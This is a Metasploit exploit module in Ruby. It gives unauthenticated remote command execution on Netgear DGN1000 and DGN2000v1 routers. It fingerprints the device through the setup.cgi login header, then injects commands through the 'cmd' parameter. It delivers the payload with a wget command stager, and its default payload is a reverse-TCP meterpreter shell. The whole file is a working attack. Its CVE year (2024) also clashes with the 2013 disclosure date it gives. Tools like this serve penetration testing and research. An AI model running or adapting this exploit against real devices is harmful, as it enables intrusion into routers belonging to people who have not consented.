Netgear DGN1000 Setup.cgi Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated OS command execution vulneralbility
          in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
          DGN2000v1 models.
        },
        'Author' => [
          'Mumbai', # https://github.com/realoriginal (module)
          'Robort Palerie <[email protected]>' # vuln discovery
        ],
        'References' => [
          ['CVE', '2024-12847'],
          ['EDB', '25978'],
        ],
        'DisclosureDate' => '2013-06-05',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
        },
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [[ 'Automatic', {} ]],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET'
      })
      if res && res.headers['WWW-Authenticate']
        auth = res.headers['WWW-Authenticate']
        if auth =~ /DGN1000/
          return Exploit::CheckCode::Detected('The target service was detected')
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
    end

    print_status("#{peer} - Exploiting target ....")
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200,
      :concat_operator => " && "
    )
  end

  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET',
        'vars_get' => {
          'next_file' => 'netgear.cfg',
          'todo' => 'syscmd',
          'cmd' => cmd.to_s,
          'curpath' => '/',
          'currentsetting.htm' => '1'
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end